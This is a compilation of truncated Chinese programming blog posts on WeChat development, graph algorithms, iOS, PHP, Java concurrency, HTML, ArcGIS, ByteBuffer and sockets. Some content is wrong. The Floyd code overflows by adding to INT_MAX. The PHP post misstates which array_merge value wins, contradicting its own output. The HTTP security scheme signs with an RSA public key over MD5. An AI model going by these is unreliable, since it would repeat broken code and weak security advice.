两个星期前,学校请了传智播客的老师给我们做实训,讲了一个微信公众号开发,感觉挺有意思,在这里做一下记录,以便以后复习. 一、了解微信公众平台 1. 什么是微信公众平台? 微信公众平台是腾讯为了让用户申请和管理微信公众账号而推出的一个Web平台,而微信公众账号的操作管理在这个平台下进行.换句话说,凡是关注自己公众号的用户,在这个网站中都可以去管理他们. 平台地址: https://mp.weixin.qq.com/ 2. 微信的两种运行模式 编辑模式与开发者模式,这两种模式是互斥的. 编辑模式是平台内置的web系统,不需要专业的技术. 开发者模式可以通过腾讯的API接口进行二次开发,需要专业的PHP技术. 3. 首先要在平台地址中,创建一个订阅号. 订阅号和服务号的区别: 订阅号是针对个人的,服务号针对有营业执照的商户. 二、微信公众平台开发(开发者模式) 0. 在讲下面的一些知识之前: 大家首先把这个网盘中的一些 要使用的的文件,下载下来,后面会使用到. 网盘地址: 链接:https://pan.baidu.com/s/1qZzwLGC 密码:v9vk 1. 开发者模式原理图 根据上图,我们联想平时我们关注的微信公众号,当我们发消息给公众号,公众号都会自动回复我们一些东西. 还有一点,我们必须要有自己的服务器,在阿里云买一个服务器肯定需要钱啊,我们不想花钱怎么办? 这里就要使用到 内网渗透 的技术,把我们自己的电脑充当服务器(拥有自己的域名). 2、在开发之前,首先我们要下载并启动PhpStudy,做过php开发的,都应该了解什么是phpStudy.他是php的配置环境,具体参考链接中的PHP环境配置: http://blog.csdn.net/m0_37989980/article/details/78971478 3、NATAPP内网渗透技术.(将本机充当一个服务器) 在 http://natapp.cn/ 使用手机号注册一个自己的账号.如下图所示 此时我们需要下载一个natapp的客户端. 我在这里提供了网盘地址: 大家可以下载. 1): 首先将下载好的natapp.exe 与 config.ini 同时赋值到 D盘的natapp目录下(这个natapp目录是自己创建的) 2): 打开config.ini中的隧道密钥,改成我们自己的密钥. 这个authtoken就是我们的密钥,把这个密钥复制到config.ini的这个位置 4): 打开cmd窗口,将刚才D盘下natapp目录下的natapp.exe拖动到命令行中,如下图所示 这样我们的服务器就已经创建好了,以后我们就可以通过 上面的 http:// 来访问自己的电脑了 注意: 在运行过程中,cmd命令行不可以关闭/ 5): 下载腾讯提供的API接口, 叫api.php,也在刚才你所下载的网盘文件中. 我们把api.php文件放到 我们安装的phpStudy的目录下的 PHPTutorial的WWW目录下; 6): 把api.php放进去之后,打开这个文件, 查看这个文件中的 define("TOKEN","weixin") ,记住这个接口中的密钥是 weixin

(ssl 1760)商店选址问题#floyd,dijkstra#

题目 给出一个城市的地图(用邻接矩阵表示),商店设在一点,使各个地方到商店距离之和最短。 分析 最短路径,floyd或dijsktra 代码 #include <cstdio> using namespace std; int n,f[201][201],s,min=2147483647; int main(){ scanf("%d",&n); for (int i=1;i<=n;i++) for (int j=1;j<=n;j++) { scanf("%d",&f[i][j]); if (!f[i][j]) f[i][j]=2147483647; } for (int k=1;k<=n;k++) for (int i=1;i<=n;i++) for (int j=1;j<=n;j++) if (f[i][j]>f[i][k]+f[k][j]) f[i][j]=f[i][k]+f[k][j]; for (int i=1;i<=n;i++){ s=0; for (int j=1;j<=n;j++) s+=f[i][j]; if (min>s) min=s; } printf("%d",min); return 0; } floyd #include <cstdio> #include <cstring> using namespace std; int n,low[202],f[202][202],ans=2147483647; bool b[202]; int main(){ scanf("

iOS 图片压缩方法

两种图片压缩方法: 两种压缩图片的方法:压缩图片质量(Quality),压缩图片尺寸(Size)。 压缩图片质量 : NSData *data = UIImageJPEGRepresentation(image, compression); UIImage *resultImage = [UIImage imageWithData:data]; 通过 UIImage 和 NSData 的相互转化,减小 JPEG 图片的质量来压缩图片。 UIImageJPEGRepresentation:: 第二个参数 compression 取值 0.0~1.0,值越小表示图片质量越低,图片文件自然越小。 压缩图片尺寸: UIGraphicsBeginImageContext(size); [image drawInRect:CGRectMake(0, 0, size.width, size.height)]; resultImage = UIGraphicsGetImageFromCurrentImageContext(); UIGraphicsEndImageContext(); 给定所需的图片尺寸 size,resultImage 即为原图 image 绘制为 size 大小的图片。 压缩图片使图片文件小于指定大小: 如果对图片清晰度要求不高,要求图片的上传、下载速度快的话,上传图片前需要压缩图片。压缩到什么程度要看具体情况,但一般给设定一个图片文件最大值,例如100KB。可以用上诉两种方法来压缩图片。假设图片转化的 NSData 对象为 data,通过 data.length 即可得到图片的字节大小。 压缩图片质量 比较容易想到的方法是,通过循环来逐渐减小图片质量,直到图片稍小于指定大小(maxLength)。 + (UIImage *)compressImageQuality:(UIImage *)image toByte:(NSInteger)maxLength { CGFloat compression = 1; NSData *data = UIImageJPEGRepresentation(image, compression); while (data.

php array_merge和数组相加的区别

两个数据合并可以用array_merge函数也可以用+运算符进行合并操作 $arr1 = array("a"=>"PHP","b"=>"java","python"); $arr2 = array("c" =>"ruby","d" => "c++","go","a"=> "swift"); $arr3 = array_merge($arr1,$arr); $arr4 = $arr1 + $arr2; 但这两个方法合并数组还是有不小的区别的。 array_merge对数值键不会覆盖,但会对字符键进行覆盖,如果两个数组字符键相同,则先出现的覆盖后出现的。对数字键的值会从0开始重新排列 var_dump($arr3) 打印结果: array(6) { ["a"]=> string(5) "swift" ["b"]=> string(4) "java" [0]=> string(6) "python" ["c"]=> string(4) "ruby" ["d"]=> string(3) "c++" [1]=> string(2) "go" } 可以看到同字符键a的值值保留了siwft,PHP被丢弃,a键保持不变,python和go原本的数字键都是2,现在重新排成了0和1 而用加号进行数组合并则无论是数字键还是字符键,只要相同首先出现的将被保留,后出现的将被丢弃,且数字键会被重新排序 var_dump($arr4) 打印结果: array(5) { ["a"]=> string(3) "PHP" ["b"]=> string(4) "java" [0]=> string(6) "python" ["c"]=> string(4) "ruby" ["d"]=> string(3) "c++" }

路由算法之距离矢量算法和链路状态算法

我们之前说了,路由器需要对于每一对端端节点都要寻找出一个最佳的路径,比如说最小链路成本的路径。路由算法就是通过自己到相邻节点之间的信息来计算出自己到目的地址的最佳出境线路是哪一条,进而进行转发的一类算法。具有代表性的就是距离矢量算法和链路状态算法。 距离矢量算法的特点是: 1.分布的 每个节点接收来自与其直接邻接节点的路由信息,并执行路由计算,将计算结果回传给直接邻接的节点 2.迭代的 计算过程循环进行,直到相邻节点没有可交换的路由信息为止 3.异步的 并不要求所有节点相互锁步操作 距离矢量算法(DV)他会把自己的路由表分享给自己的所有相邻节点,那么这些节点如果发现通过新的路由表自己到其他节点的距离改变了,那么再把自己的更新的路由表发送给自己的周围节点,所以这个过程是迭代的,异步的。 要想知道距离矢量算法的具体工作原理,首先看一个公式,这也是距离矢量算法的核心: Dx(Y,Z) = c(X,Z) +minw {Dz(Y,w)} 这个公式的含义是:节点X经过Z到达Y的距离= X到邻居Z的距离+ Z到Y的最短距离(经过Z的相邻某一个节点w),如下图所示,XZ直接相连。 所以我们能够根据这个公式计算出每一个节点到其他任意节点的最小距离,并且画出距离矩阵表: 上面的例子是ABCDE五个节点,其中画出的是计算E节点对于其他所有节点的距离矩阵。距离矩阵中上面的是E节点的所有邻居,侧面的是所有的节点。那么每一行应该是节点E经过不同相邻节点到达目标节点的距离的集合,从这里面选择最小的,就是最小距离了。那么这个对应的相邻节点自然就是出境端口。这就是距离矢量算法。 距离矢量算法需要维护每个节点经过相邻节点到全部目的地的路径表,当自己发现到别人的路径成本发生变化的时候就计算更新路由表,并且把自己的路由表广播给所有临节点。它也会接收相邻节点发来的路由表更新信息并计算更新自己的路由表,并且将更新的发回去。 距离矢量算法的好处是,任何一个新加入的节点都会很快的和其他节点建立联系,一路一路更新消息传递的快,但是缺点是满收敛,因为你传给我我传给你,收敛地就慢了。与之相对比的是链路状态算法(LS). 在链路状态算法中,每个节点都有完整地网络拓扑图,也就是完整的链路信息(距离矢量法只知道和相邻路由的),节点向相邻网络广播自己和邻居的信息,每当自己也收到这个信息,就用dijkstra算法来重新计算路由表。那么重点就是dijkstra算法,算法的步骤如下图: 如果想建立A的路由表,每次都把某一个工作节点对于A的最小路径相邻节点放在这个集合中,再迭代寻找。例子如下: 第0步,这个集合N只有A一个元素,横排里面D(B)代表这个节点到A的最短距离,P(B)B代表到A的上一跳是那个节点。0步中发现到A的最小节点是D,因为距离是1,那么进入第一步step1,把D放入集合N,下一步从D的相邻节点里面找,就列出来了第二排,BCE三个点的数值。F因为还没有探索到,所以仍然记为无穷。第一步做好了,发现BE都距离A为2,都是最小的,所以就随机取一个,把D放在集合N里面,第三步step3就是对E的相邻节点找到A的最小距离节点然后放在集合N里面,以此类推直到所有的节点都在N里面即可,图中画红圈的,按照时间顺序分别是ADEBCF一次进入集合N。 所以最短路径有了,那么下一跳呢?举个例子,比如说F,F到A的上一跳是E,那么再查E,发现E到A的上一跳是D,而D与A相邻,所以A的路由表中去F的下一跳就是D了。这就是dijkstra算法建立路由表的步骤。路由表如下所示(路由表往往包含目的地和对应的下一跳,有时候会有链路成本): 链路状态算法只计算和其相邻节点的信息,再更新。它测量与相邻节点的距离方法是:发送一个hello报文,周围节点接收到hello报文之后给出自己的地址返回给发送方表示我是你周围的临界点。发送方再发送echo报文,接收方收到echo立刻返回,根据时间戳就可以测出链路成本了。然后这个路由器就可以用相邻链路成本用LS算法计算自己的路由表信息。它的缺点是路由器来回震荡问题,但是健壮性比较好,不容易出现满收敛的问题,故障也不会广泛传播。 以上就是最经典的两种路由算法。 拓展阅读 网络层的作用

Java线程Thread之yeild方法解析

转载请标明出处: http://blog.csdn.net/hesong1120/article/details/79032252 本文出自:hesong的专栏 Java线程Thread的yeild方法可能在日常使用中比较少出现,那它是做什么用的,我们先查查官方文档解释。 yield public static void yield() Causes the currently executing thread object to temporarily pause and allow other threads to execute. 看原版官方文档可以避免出现歧义,我的理解是 造成当前正在执行的线程对象临时性的暂停,和允许其他线程去执行 也就是说,调用了yield方法之后,当前线程会临时性的暂停一下,然后其他线程有机会去执行任务。那么实际情况是怎么样,我们用例子来测试一下。 public class YieldTest{ private static final int DEST_NUM = 50; public static void main(String[] args) { new YieldTest(); } public YieldTest(){ ThreadDemo yt1 = new ThreadDemo("张三"); ThreadDemo yt2 = new ThreadDemo("李四"); ThreadDemo yt3 = new ThreadDemo("王五"); //yt1.setPriority(10); //yt1.setPriority(5); //yt3.setPriority(1); yt1.start(); yt2.start(); yt3.start(); } public class ThreadDemo extends Thread{ public ThreadDemo(String name){ setName(name); } @Override public void run() { for (int i = 1; i <= DEST_NUM; i++) { // 当i为30时,该线程就会把CPU时间让掉,让其他或者自己的线程执行(也就是谁先抢到谁执行) if (i % 5 == 0) { System.

一种基于http协议的敏感数据传输方案

最近公司需要通过公网与其它平台完成接口对接,但是基于开发时间和其它因素的考虑,本次对接无法采用https协议实现。既然不能用https协议,那就退而求其次采用http协议吧! 那么问题来了!在对接的过程中我们需要对如下问题进行相关的考虑: 1、敏感信息的不可见性 使用http协议传输数据很容易被抓包监听传输内容,如果这些数据中存在敏感信息的话,风险太大了。因此我们需要对我们的传输数据进行一定的加密处理,即使数据被预期接收方之外的其它不法分子拦截,也无法轻易的破译此次请求的传输内容!最简单的方案就是对传输数据使用Base64方法转码,使得数据具备一定的不可读性。当然啦,这种方案实际上是不可取的,因为Base64方案太容易被识别然后解密了。比较常见的做法是,发送方和接收方彼此约定密钥,发送方发送时用密钥对数据加密,接收方用密钥对数据解密。比如AES128加密算法?但是AES128加密也存在局限性,需要定期维护。就算你认为你这方的内部人员是可信的,你也无法无法保证对方的密钥不会泄漏吧。当然聪明的你可能会说,那我就使用非对称加密算法,比如RSA好了。好像是没啥问题?但是如果数据量比较大的话,RSA加密方法对服务器的压力也是很大的。。所以本次结合了AES和RSA来实现我们的数据传输。 2、防止数据被篡改 用签名!用签名!用签名!重要的事情说三遍?例如:当数据被封装好后,我们可以用md5算法计算出待传输数据的摘要字符串作为签名。当服务器接受到数据后,同样使用md5对数据做摘要,同请求报文中的签名作比较,若不一致则说明该http请求数据已被篡改。但仅仅使用md5对数据作摘要就够了吗?万一攻击方发现了数据签名是用md5做的,攻击方只需要对已篡改的数据再做一次md5,同时更新请求中的签名即可。因此如何生成可靠的签名也需要我们仔细的斟酌。有几点我觉得是需要注意的:1、无法轻易的根据签名推反推出当前签名所采用的算法;2、签名算法的复杂性、可靠性;3、不要直接对传输数据作签名,可以先对请求数据作摘要,再使用加密算法生成签名,既可以提升效率也在一定程度上提高了安全性。 3、http请求的真实性 有很多方案可以保证http请求的真实性。比如使用token来进行身份验证,可以借鉴微信的身份验证方案或者jwt实现。本次我们只做了简单的处理,在http请求头中设置了一个时间戳,当服务器接收到数据后,会取出http请求中的时间戳,同时与服务器当前时间作比较。若时间间隔过大,则认为该请求是不真实的,直接拒绝并返回! 上面简单的介绍了http传输敏感数据需要注意的地方,本方案具体实现思路如下图所示: 发送方需要干的事 1、生成签名 构造传输对象,并将传输对象转换成json字符串 本次接口传输采用rest模式作为标准,先构造待传输对象。构造完成后借用Google的Gson包来将对象转换成json字符串。 使用md5算法生成json字符串摘要使用RSA公钥对摘要字符串作加密处理,生成签名 2、加密请求报文 发送方创建一个http请求时,需要动态的生成一个AESKey,同时使用该AESKey对请求数据作加密处理。为什么每次请求都需要生成一个新的AESKey呢?主要还是为了防止数据泄漏。如果固定使用相同的Key,万一Key被发送方内部人员泄漏了,其实也对发送数据的加密也就没有意义了。 3、加密AES密钥 在http请求传递数据时,AES密钥也会被同样传递过去。为了保证AES密钥的安全性,我们采用RSA公钥对AES密钥作加密处理。处理完后会放到Http请求头的Authencation字段中。 4、构造http请求 将第一步生成的签名放到http请求头中的Authencation字段中将加密后的AES密钥放到http请求头中的SecurityKey字段中将该请求创建时间放到http请求头中的TimesTamp字段中将第二步生成的加密报文放到http body中 5、处理http请求结果 在此之前,请求方和发送方需要约定返回结果的加密方式。发送方接收到http请求返回结果后,通过约定的方式对返回结果进行处理,以供后续使用。这里我们仅简单的约定接收方使用接收到的AES密钥对返回数据作加密后返回即可。 接收方需要干的事 1、请求的真实性校验 获取http请求头中的TimesTamp字段,同时与系统时间作比较。如果请求时间与当前系统时间间隔在五分钟之内,则认为请求是真实的,反之则认为请求是非法的。 2、获取AES密钥 从http请求中的SecurtiyKey获取被加密的AES密钥,使用RSA密钥对其解密,获取可供使用的AES密钥 3、获取请求报文 从httpbody中获取请求报文,使用上面第二步生成的AES密钥解密请求报文 4、验签 对第三步生成的请求报文作md5摘要生成md5Str获取http请求头中的Authencation字符串,接着使用接收方保存的RSA密钥对其作解密处理获取rsaDecryptStr比较md5Str和rsaDecryptStr是否一致,若一致则验签通过 5、业务处理 使用第三步得到的请求报文进行业务处理 6、返回处理结果 使用第二步获取到的AES密钥对返回结果作加密处理并返回 总结 本次http请求传输敏感数据方案的实现,上面做了详细的介绍。另外多提一下。在接收方进行验签的时候,我们可以定义一个过滤器来过滤指定http请求。在过滤器中完成验签的工作,以避免在业务处理代码中掺杂验签代码!同时使用过滤器也可以对请求返回结果进行加工处理,在这里就是用AES密钥加密返回结果啦!

PTA JAVA选择题汇总(一)

选择题 1、抽象窗口工具包( )是Java提供的建立图形用户界面GUI的开发包。 AWT java.lang java.io Swing 2、下列哪个一个操作不能使线程从等待阻塞状态进入对象阻塞状态( )。 等待阻塞状态下的纯种被interrput()中断 等待阻塞状态下的线程被notify()唤醒 等待阻塞状态下的线程调用wait()方法 等待时间到 3、下列属于容器的组件有:( ) JPanel JTextArea JButton Canvas 4、下列哪个方法可以使线程从运行状态进入其他阻塞状态( )。 yield() wait() sleep() start() 5、如果容器组件p的布局是BorderLayout,则在p的下部添加一个按钮b,应该使用的语句是( ) (2分) p.add(b,”North”); p.add(b); b.add(p,”North”); p.add(b,”South”); 6、下列哪一项不属于布局管理器? ( ) (2分) GridLayout CardLayout BorderLayout BagLayout 7、What kind of reader do you use to handle Character code? ( ) (2分) Reader PrintWriter InputStreamReader Writer 8、在类中若要处理ActionEvent事件,则该类需要实现的接口是( ) (2分) ActionListener Serializable Event Runnable 9、paint( )方法使用哪种类型的参数? ( ) (2分)

Java并发学习(二十三)-LinkedBlockingQueue和LinkedBlockingDeque分析

有两个比较相似的并发阻塞队列,LinkedBlockingQueue和LinkedBlockingDeque,两个都是队列,只不过前者只能一端出一端入,后者则可以两端同时出入,并且都是结构改变线程安全的队列。其实两个队列从实现思想上比较容易理解,有以下特点: 链表结构(动态数组)通过ReentrantLock实现锁利用Condition实现队列的阻塞等待,唤醒 以下将分开讲述LinkedBlockingQueue和LinkedBlockingDeque的基本特点及操作。 LinkedBlockingQueue 这是一个只能一端出一端如的单向队列结构,是有FIFO特性的,并且是通过两个ReentrantLock和两个Condition来实现的。先看它的结构基本字段: /** * 基于链表。 * FIFO * 单向 *最大容量是Integer.MAX_VALUE. */ public class LinkedBlockingQueueAnalysis<E> extends AbstractQueue<E> implements BlockingQueue<E>, java.io.Serializable { /* * 两个方向。 * putLock * takeLock * 有些操作会需要同时获取两把锁。 * 例如remove操作,也需要获取两把锁 */ //主要的node节点 static class Node<E> { E item; Node<E> next; Node(E x) { item = x; } } //容量,一开始就固定了的。 private final int capacity; //用AtomicInteger 来记录数量。 private final AtomicInteger count = new AtomicInteger(); //head节点 head.item == null transient Node<E> head; //last节点,last.

pythonweb——前端(一):HTML的常用标签

HTML 什么是HTML HTML是用来描述网页的一种语言。 HTML指的是超文本标记语言(Hyper Text Markup Language) HTML不是一种编程语言,而是一种标记语言(markup language)。标记语言就是一套标记标签(markup language)。 HTML使用标记标签描述网页 HTML标签(元素) HTML标记标签通常被称为HTML标签或者HTML元素(HTML tag)。 HTML标签是由尖括号包围的关键词,比如<html> HTML标签通常是成对出现的,比如<b>和</b> 标签对中的第一个标签是开始标签(开放标签)没有斜杠,第二个标签是结束标签(闭合标签)有斜杠 HTML文档 = 网页 网页其实就是HTML文档。HTML文档包括HTML标签和纯文本。Web浏览器的作用就是读取HTML文档,并以网页的形式来显示文档的内容,但是浏览器不会显示标签,而是使用标签来解释网页的内容,也就是浏览器通过解释HTML标签的含义和样式来显示标签内的文本,这些文本就组成了网页。 HTML模板 <!DOCTYPE html> <!--文档类型,也就是说这个是html文档--> <html lang="en"> <!--根标签--> <head> <!--网页的头部--> <meta charset="UTF-8" /> <!--国际编码 UTF-8,meta是单标签,后面的那个 / 表示单标签的结束,H5可以不写那个 /--> <title>初识HTML</title> <!--网页标题--> </head> <body> <!--可视化区域 网页的主体--> </body> </html> HTML标签 H标题标签 标题标签一共有六种:h1~h6,分别表示不同的文字大小、粗细程度,而且标题标签样式都是单独占一行、都是加粗的状态。 注意一个页面通常只出现一个h1标签,有利于搜索引擎的搜索,其他标签理论上没有数量的限制。 p段落标签 段落标签也都是独占一行,HTML不会解析所有的空格,最多解析一个,所以在写HTML文档的时候缩进了段落但是浏览器最后显示的网页还是没有缩进,因为浏览器没有解析段首的空格。 粗体标签 <strong> / <b>这两个自带粗体效果的标签,而且它的display是inline,也就是在一行上。其中<strong>不仅有加粗的效果而且有助于搜索引擎的搜索,但是<b>只是物理的加粗,也就是只能起到显示上加粗的效果,并不会影响搜索引擎的搜索。 斜体标签 <em> / <i> 这两个标签自带斜体的效果。 行内标签是可以嵌套的,也就是行内标签内是可以包行内标签的,所以我们如果想要既加粗又斜体的效果的话可以<b><i></i></b>这样进行嵌套(或者反过来嵌套)。 em的话同时也有利于搜索引擎的搜索,而i的话只是物理斜体的效果。 换行标签 <br/> 。其中 / 可以不写。 水平线标签

arcgis for js实现GP服务创建、发布、调用(GP模型制作与发布服务)

arcgis for js实现GP服务创建、发布、调用(GP模型制作与发布服务) 参考资料: ArcGIS Server之发布GP服务-返回矢量数据 使用ArcGIS GP服务之一框架介绍 ARCGIS ModelBuilder工具(模型构建器) 1.什么是模型构建器? 模型构建器是一个用来创建、编辑和管理模型的应用程序。模型是将一系列地理处理工具串联在一起的工作流,它将其中一个工具的输出作为另一个工具的输入。也可以将模型构建器看成是用于构建工作流的可视化编程语言。 模型构建器除了有助于构造和执行简单工作流外,还能通过创建模型并将其共享为工具来提供扩展 ArcGIS 功能的高级方法。 模型构建器的优势汇总如下: 模型构建器是一个简单易用的应用程序,用于创建和运行包含一系列工具的工作流。 您可以使用模型构建器创建自己的工具。使用模型构建器创建的工具可在 Python 脚本和其他模型中使用。 结合使用模型构建器和脚本可将 ArcGIS 与其他应用程序进行集成。 详细信息参考官网说明地址 2.制作模型 软件环境:主机为window10企业版,arcgis 10.1 desktop 和server。 数据类型:点数据为某市点数据,投影坐标为WGS84。 2.1本例子以缓冲区分析为例子制作模型发布地图服务并实现为webgis调用前端调用; 2.2打开ArcMap软件打开Catalog对话框,选择”My ToolBoxes“-“右键”-“New”-“ToolBox”,此时完成创建一个ToolBox; 2.3选择新创建的“ToolBox”-“右键”-“New”-“Model”,即可创建一个model,重命名为“bufferModel”; 2.4 选择“bufferModel”-“右键”-“Edit”,打开bufferModel编辑器可视化界面; 2.5添加Buffer工具。打开ArcMap自带的ArcToolBox工具箱,找到工具“Analysis”-“Proximity”-“Buffer”, 2.6拖动Buffer工具进入bufferModel编辑器的空白部分如下图: 2.7在编辑器中空白区域-“右键”-“Create Variable”,选择“Feature Classs”,点击OK。 2.8选择Buffer-“右键”-“Make Variable”-“From Parameter”-“Distance[value or field]”,将其重命名为Distance。 2.9点击上图工具栏导出第三个工具Connect,点击“Feature Class”再点击Buffer,在弹出框中选择Input Features,相同方式连接Distance和Buffer,弹出框选择Distance[value or field]。 2.10选择工具栏倒数第三个选择工具,点击Distance-“右键”-“Model parameter”,同理设置Feature Class和OutPut Feature Class,点击保存,关闭编辑器。 2.11双击BufferModel,弹出工具对话框,选择输入要素地址和输出要素地址,距离和距离单位,点击OK即可查看到结果; 2.12运行成功后,选择result栏,选择“Current Session”-“Model”-“右键”-“Share As”-“Geoprocessing Service”; 2.13在弹出对话框中点击下一步下一步直到Service Editor界面,选择BufferModel,填写工具说明(必须); 2.14同理填写Feature Class ,Output Feature Class和Distance说明,点击验证“Analyze”,当验证无误后点击发布“Pulish”; 3.在arcgis server manager中验证服务是否正确发布 3.

ByteBuffer详解

一、前言 前一篇文章我们介绍了Android中直播视频技术的基础大纲知识,这里就开始一一讲解各个知识点,首先主要来看一下视频直播中的一个重要的基础核心类:ByteBuffer,这个类看上去都知道了,是字节缓冲区处理字节的,这个类的功能非常强大,也在各个场景都有用到,比如网络数据底层处理,特别是结合网络通道信息处理的时候,还有就是后面要说到的OpenGL技术也要用到,当然在视频处理中也是很重要的,因为要处理视频流信息,比如在使用MediaCodec进行底层的视频流编码的时候,处理的就是字节,我们如果单纯的借助字节数组来进行操作的话,首先效率有很大的问题,其次是数组最大的问题就是担心越界报异常等信息,这个在处理的时候特别麻烦,所以Java中就有类似的高效率的处理字节的封装类:ByteBuffer 二、ByteBuffer原理 关于这个类,其实他有两个子类:一个是HeapByteBuffer和DirectByteBuffer关于这两个类的区别很好理解: DirectByteBuffer不是分配在堆上的,它不被GC直接管理(但Direct Buffer的JAVA对象是归GC管理的,只要GC回收了它的JAVA对象,操作系统才会释放Direct Buffer所申请的空间),它似乎给人感觉是“内核缓冲区(buffer in kernel)”。HeapByteBuffer则是分配在堆上的,或者我们可以简单理解为Heap Buffer就是byte[]数组的一种封装形式,查看JAVA源代码实现,HeapByteBuffer也的确是这样。 说白了就是HeapByteBuffer是在JVM堆内存中分配会被JVM管理回收,但是DirectByteBuffer是直接由系统内存进行分配,不被JVM管理。通过上面的区别看到: 1、创建和释放DirectByteBuffer的代价比HeapByteBuffer得要高,因为JVM堆中分配和释放内存肯定比系统分配和创建内存高效 2、因为平时的read/write,都会在I/O设备与应用程序空间之间经历一个“内核缓冲区”。 DirectByteBuffer就好比是“内核缓冲区”上的缓存,不直接受GC管理;而Heap Buffer就仅仅是byte[]字节数组的包装形式。因此把一个Direct Buffer写入一个Channel的速度要比把一个HeapByteBuffer写入一个Channel的速度要快。 所以这两个类操作起来各有好处,要视情况而定,一般如果是一个ByteBuffer经常被重用的话,就可以使用DirectByteBuffer对象。如果是需要经常释放和分配的地方用HeapByteBuffer对象。 下面来通过他们的源码来确定内存分配原理,首先是HeapByteBuffer对象: 看到了,这里直接使用了byte数组的,Java中的数组都是在JVM的堆内存中进行分配的。 再来看看DirectByteBuffer对象: 内部直接使用了Unsafe类对象,关于这个类: Java不能直接访问操作系统底层,而是通过本地方法来访问。Unsafe类提供了硬件级别的原子操作,主要提供了以下功能: 1》、通过Unsafe类可以分配内存,可以释放内存; 类中提供的3个本地方法allocateMemory、reallocateMemory、freeMemory分别用于分配内存,扩充内存和释放内存,与C语言中的3个方法对应: public native long allocateMemory(long l); public native long reallocateMemory(long l, long l1); public native void freeMemory(long l); 2》、可以定位对象某字段的内存位置,也可以修改对象的字段值,即使它是私有的。 从上面源码分析可以得知HeapByteBuffer对象是直接操作堆中的字节数组对象的,而DirectByteBuffer对象是直接操作系统内存的。 好了上面分析了ByteBuffer的两个子类,这两个子类会通过两个方法来获取的: 一个是allocate方法获取到HeapByteBuffer: 一个是allocateDirect方法获取到DirectByteBuffer: 这两个方法的使用在后面会详细说明。 不管是HeapByteBuffer还是DirectByteBuffer,他们操作字节的方法都是相同的,因为都是继承ByteBuffer类,大部分操作字节的方法都在这个父类中定义的。后续的例子中就用HeapByteBuffer类来做演示,先来大致分析一下HeapByteBuffer的工作原理,看一下他的取出一个字节的方法: 这个hb对象是在父类ByteBuffer中定义的: 好了,看到了,其实hb就是一个字节数组,所以说HeapByteBuffer是在JVM的堆内存中分配的,我们再看看DirectByteBuffer类的get方法: 这里直接使用Unsafe对象进行操作的,并没有使用hb字节数组。 三、ByteBuffer的四大类操作方法 上面分析了ByteBuffer有两个重要的子类来进行操作字节,他们两个各有优势也有很大的区别,然后分析了他们两个类在处理字节的基本原理。下面就借助HeapByteBuffer这个子类来介绍ByteBuffer中一些操作字节的方法,这里大致分为四类: 第一类:字节数组 "指针" 操作 因为Java中没有指针的概念,但是为了下面内容讲解方便,这里就引用了指针的名词。先来看一下图解: 这张图中我们可以看到在操作ByteBuffer的时候,有四个指针来进行操作: capacity指针:这个指针是在调用allocate方法分配完内存之后直接指向字节数组的末尾,不会在发生改变的,除非再次调用allocate方法重新分配内存大小。 limit指针:这个指针在初始化分配内存的时候和capacity指针一样,指向数组的末尾,但是这个指针是会发生改变的,有一个limit方法可以设置他的值。同时像flip,clear等方法也会改变他的值。它更像是数组的一个有效数据的范围上限指针。limit<=capacity position指针:这个指针是指向当前有效数据的起始位置,在初始化分配内存的时候指向数组的起始位置,后续可以通过position方法进行设置,同时他在很多地方都会发生改变,特别是在读写数据方法get,put的时候,每次读写一次,指针就加一,直到遇到了limit指针,position<=limit;所以可以看到整个数组中只有position-limit之间的数据是有效的,是可以进行读写操作的。 mark指针:这个指针在初始化的时候就是-1,起到一个数组指针不合法的哨兵作用,只要不调用mark方法,他的值一直是-1,最主要的是对position进行标记作用,有时候有一种需求就是想临时保存一下当前读写指针position的值,因为position随时都会发生改变,但是有时候还想再回来,那么mark指针就是这个作用,用来标记position的前一个状态,对应的方法是mark,还原方法是reset,这个指针只有在mark方法,clear,flip等方法会发生变化。mark<=position 通过上面的四个指针分析之后,发现有了mark和limit指针,我们不会担心数组越界的问题了,有了position指针我们能够很简单的操作数组数据,效率也高。 下面通过一个代码来验证这些方法的具体作用: 1、首先看一下打印ByteBuffer中四个指针的方法,这里ByteBuffer都提供了position,limit,capacity三个指针的访问方法,但是mark指针没有,所以这里需要用反射去操作,注意的是,我们allocate出来的是HeapByteBuffer对象,但是这四个指针都是定义在Buffer类中的,HeapByteBuffer->ByteBuffer->Buffer 下面来看一个这些方法的操作案例: 1、allocate方法 这里首先调用allocate方法分配10个大小的内存,然后从起始位置开始写入5个数据,再次调用flip方法准备读状态,然后在从起始位置读取四个数据,运行结果如下: 2、flip方法

C++基础--完善Socket C/S ,实现客户端,服务器端断开重连

原文地址::http://www.cnblogs.com/kingdom_0/articles/2571727.html 相关文章 1、socket连接,判断连接中断,如果中断,并自动重连。----http://blog.csdn.net/yoland/article/details/6448139 2、关于socket判断连接断开并重连----http://blog.csdn.net/tengxiaoming/article/details/5842307 3、讨论一种可靠的socket断线重连方法----http://bbs.csdn.net/topics/390800788?page=1 4、Socket连接问题,高难度的,解决后对大家也有好处----http://bbs.csdn.net/topics/80185609 1 // WindowsSocketServer.cpp : 定义控制台应用程序的入口点。 2 // 3 4 #include "stdafx.h" 5 #include <iostream> 6 #include <string> 7 #include <Windows.h> 8 #include <Winsock2.h> 9 #include <fstream> 10 #pragma comment(lib,"Ws2_32.lib") 11 12 using namespace std; 13 #define PORT 8080 14 #define IP_ADDRESS "172.16.20.181" 15 CRITICAL_SECTION cs; 16 //#define CLIENT_PORT 8081 17 ///#define CLIENT_IP_ADDRESS "172.16.20.181" 18 19 //接收每个客户端连接的处理函数 20 DWORD WINAPI ClientThread(LPVOID lpParameter); 21 22 //连接和服务器端有连接的客户端 23 DWORD WINAPI ConnectClientsThread(LPVOID lpParameter); 24 25 int main(int argc, char* argv[]) 26 { 27 //HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); 28 //SetConsoleTextAttribute(hConsole,FOREGROUND_GREEN); 29 InitializeCriticalSection(&cs); 30 //初始化事件和关键段,自动置位,初始无触发的匿名事件 31 //g_hThreadEvent = CreateEvent(NULL,FALSE,FALSE,NULL); 32 33 //system("

python语法学习—打印九九乘法表

